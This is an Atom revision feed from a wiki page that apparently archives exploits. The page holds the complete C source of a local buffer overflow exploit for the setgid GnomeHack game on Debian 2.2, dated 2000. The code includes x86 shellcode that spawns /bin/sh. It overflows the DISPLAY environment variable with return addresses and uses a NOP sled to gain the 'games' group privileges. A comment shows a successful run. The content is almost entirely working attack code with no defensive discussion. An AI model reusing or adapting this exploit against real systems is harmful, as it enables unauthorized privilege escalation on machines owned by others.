<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GnomeHack_%E6%9C%AC%E5%9C%B0%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>GnomeHack 本地緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GnomeHack_%E6%9C%AC%E5%9C%B0%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GnomeHack_%E6%9C%AC%E5%9C%B0%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:18:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=GnomeHack_%E6%9C%AC%E5%9C%B0%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2081&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  * (gnomehack) local buffer overflow. (gid=games(60))  *  * Author: Cody Tubbs (loophole of hhp).  * www.hhp-programming.net / pigspigs@yahoo.com  * 12/17/200...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GnomeHack_%E6%9C%AC%E5%9C%B0%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2081&amp;oldid=prev"/>
		<updated>2021-05-03T13:23:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  * (gnomehack) local buffer overflow. (gid=games(60))  *  * Author: Cody Tubbs (loophole of hhp).  * www.hhp-programming.net / pigspigs@yahoo.com  * 12/17/200...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * (gnomehack) local buffer overflow. (gid=games(60))&lt;br /&gt;
 *&lt;br /&gt;
 * Author: Cody Tubbs (loophole of hhp).&lt;br /&gt;
 * www.hhp-programming.net / pigspigs@yahoo.com&lt;br /&gt;
 * 12/17/2000&lt;br /&gt;
 *&lt;br /&gt;
 * Tested on Debian 2.2, kernel 2.2.17 - x86.&lt;br /&gt;
 * sgid &amp;quot;games&amp;quot;(60) by default.&lt;br /&gt;
 *&lt;br /&gt;
 * bash-2.03$ id&lt;br /&gt;
 * uid=1000(loophole) gid=501(noc)&lt;br /&gt;
 * bash-2.03$ ./h 0 0&lt;br /&gt;
 * Ret-addr 0x7fffe81c, offset: 0, allign: 0.&lt;br /&gt;
 * Can't resolve host name &amp;quot;????????????????&amp;quot;!&lt;br /&gt;
 * sh-2.03$ id&lt;br /&gt;
 * uid=1000(loophole) gid=501(noc) egid=60(games)&lt;br /&gt;
 * sh-2.03$&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define OFFSET 0&lt;br /&gt;
#define ALLIGN 0&lt;br /&gt;
#define NOP    0x90&lt;br /&gt;
#define DBUF   256 //120(RET*30)+((RET))+132(RET*33)&lt;br /&gt;
#define GID    60&lt;br /&gt;
&lt;br /&gt;
static char shellcode[]=&lt;br /&gt;
  &amp;quot;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0&amp;quot;&lt;br /&gt;
  &amp;quot;\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31&amp;quot;&lt;br /&gt;
  &amp;quot;\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0&amp;quot;&lt;br /&gt;
  &amp;quot;\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08&amp;quot;&lt;br /&gt;
  &amp;quot;\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8&amp;quot;&lt;br /&gt;
  &amp;quot;\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
long get_sp(void){&lt;br /&gt;
  __asm__(&amp;quot;movl %esp,%eax&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void workit(char *heh){&lt;br /&gt;
  fprintf(stderr, &amp;quot;\ngnomehack local exploit for Debian 2.2 - x86\n&amp;quot;);&lt;br /&gt;
  fprintf(stderr, &amp;quot;Author: Cody Tubbs (loophole of hhp)\n\n&amp;quot;);&lt;br /&gt;
  fprintf(stderr, &amp;quot;Usage: %s &amp;lt;offset&amp;gt; [allign(0..3)]\n&amp;quot;, heh);&lt;br /&gt;
  fprintf(stderr, &amp;quot;Examp: %s 0\n&amp;quot;, heh);&lt;br /&gt;
  fprintf(stderr, &amp;quot;Examp: %s 0 1\n&amp;quot;, heh);&lt;br /&gt;
  exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
main(int argc, char **argv){&lt;br /&gt;
  char eipeip[DBUF], buffer[4096], heh[DBUF+1];&lt;br /&gt;
  int i, offset, gid, allign;&lt;br /&gt;
  long address;&lt;br /&gt;
&lt;br /&gt;
  if(argc &amp;lt; 2){&lt;br /&gt;
    workit(argv[0]);&lt;br /&gt;
  }&lt;br /&gt;
 &lt;br /&gt;
  if(argc &amp;gt; 1){&lt;br /&gt;
    offset = atoi(argv[1]);&lt;br /&gt;
  }else{&lt;br /&gt;
    offset = OFFSET;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if(argc &amp;gt; 2){&lt;br /&gt;
    allign = atoi(argv[2]);&lt;br /&gt;
  }else{&lt;br /&gt;
    allign = ALLIGN;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  address = get_sp() - offset;&lt;br /&gt;
&lt;br /&gt;
  if(allign &amp;gt; 0){&lt;br /&gt;
    for(i=0;i&amp;lt;allign;i++){&lt;br /&gt;
      eipeip[i] = 0x69; //0x69.DOOT:D&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  for(i=allign;i&amp;lt;DBUF;i+=4){&lt;br /&gt;
    *(long *)&amp;amp;eipeip[i] = address;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gid = GID;&lt;br /&gt;
  shellcode[10] = gid;&lt;br /&gt;
  shellcode[22] = gid;&lt;br /&gt;
  shellcode[24] = gid;&lt;br /&gt;
 &lt;br /&gt;
  for(i=0;i&amp;lt;(4096-strlen(shellcode)-strlen(eipeip));i++){&lt;br /&gt;
    buffer[i] = NOP;&lt;br /&gt;
  }&lt;br /&gt;
 &lt;br /&gt;
  memcpy(heh, eipeip, strlen(eipeip));&lt;br /&gt;
  memcpy(heh, &amp;quot;DISPLAY=&amp;quot;, 8);//HOME||DISPLAY&lt;br /&gt;
  putenv(heh);&lt;br /&gt;
&lt;br /&gt;
  memcpy(buffer+i, shellcode, strlen(shellcode));&lt;br /&gt;
  memcpy(buffer, &amp;quot;HACKEX=&amp;quot;, 7);&lt;br /&gt;
  putenv(buffer);&lt;br /&gt;
 &lt;br /&gt;
  fprintf(stderr, &amp;quot;Ret-addr %#x, offset: %d, allign: %d.\n&amp;quot;,address, offset, allign);&lt;br /&gt;
  execlp(&amp;quot;/usr/lib/games/gnomehack/gnomehack&amp;quot;, &amp;quot;gnomehack&amp;quot;, 0); //Mod path if needed.&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2000-12-04]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>